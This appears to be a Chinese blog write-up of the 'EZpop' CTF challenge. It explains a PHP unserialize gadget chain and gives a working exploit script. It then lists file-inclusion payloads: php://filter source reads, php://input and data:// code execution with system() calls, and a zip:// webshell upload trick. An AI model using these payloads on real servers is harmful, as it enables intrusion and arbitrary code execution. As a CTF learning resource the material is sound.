EZpop分析
首先源代码如下
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
首先找到利用点
public function append($value){
include($value);
}
找到了include()
这里补充一下常用的PHP魔术方法,这道题考察的就是魔术方法的互相调用
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
然后找参数从哪里传过来的
public function __invoke(){
$this->append($this->var);
}
$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现
public function __get($key){
$function = $this->p;
return $function();
}
如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get()呢
发现
public function __toString(){
return $this->str->source;
}
如果将$str传参为Test的对象,Test中没有source方法就会调用__get()
那么又如何调用__toString()呢
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的,整个链条就形成了
__wake() => __toString() => __get() => __invoke() =>include(flag.txt)
开始写exp:
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a=new Show('a'); $a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>
这里有一个小疑问记录一下:
问题
就是为什么include()函数要用php伪协议去读文件呢,include()本身不就可以读文件的嘛,我之前写exp时没有用伪协议,所以没有读出文件
解决
这就是我对include()这个函数理解的不够出深入造成的,include()这个函数除了读取文件还会执行文件内容,所以需要用伪协议进行base64编码才能显示文件的内容,否则就会被php解释器执行而不会输出到前端
延伸
php://filter 读取文件源码
php://input 任意代码执行
data://text/plain 任意代码执行
zip:// 配合文件上传开启后门
专题学习一下php伪协议的各种利用姿势
PHP://filter
php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码
?url=php://filter/read=convert.base64-encode/resource=index.php
PHP://input
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效
?url=php://input -- GET请求参数中使用php://input协议
<?php system('ls'); ?> -- post请求体中的内容会被当做文件内容执行
Data://
协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
?url=data://text/plain,<?php system('id') ?>
ZIP://
ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
?url=zip://shell.jpg
最新文章
- js仿微信语音播放
- offsetwidth/clientwidth的区别
- Paip.语义分析----情绪情感词汇表总结
- JAVA+PHP+阿里云组件纯手工实现POP、SMTP、IMAP开发邮件服务器(二)
- POJ 1716
- HDU 2546 饭卡
- 墙裂推荐 iOS 资源大全
- MySQL存储过程实例
- linux下安装python linux下一些常用的命令
- 面向对象程序设计-C++_课时19const_课时20不可修改的
- navigator获取参数
- android studio 2.3 下载地址
- B. Pyramid of Glasses
- Linux下which、whereis、locate、find 命令查找文件
- RedisHelper帮助类
- Nginx模块 ngx_http_limit_req_module 限制请求速率
- JS IE 打开本地exe程序
- @ModelAttribute注解详解
- Java虚拟机(二)对象的创建与OOP-Klass模型
- Python3基础 file read 读取txt文件的前几个字符
热门文章
- ARTS起始篇
- Apache Flink目录遍历(CVE-2020-17519)
- HCNA Routing&;Switching之动态路由协议OSPF基础(二)
- SyntaxError: unexpected EOF while parsing成功解决
- PAT甲级:1124 Raffle for Weibo Followers (20分)
- 看懂UML类图笔记
- Spring Cloud 从入门到精通(一)Nacos 服务中心初探
- 搭建MySQL主从实现Django读写分离
- Python - 浅拷贝的四种实现方式
- 论文笔记:(NIPS2017)PointNet++: Deep Hierarchical Feature Learning on Point Sets in a Metric Space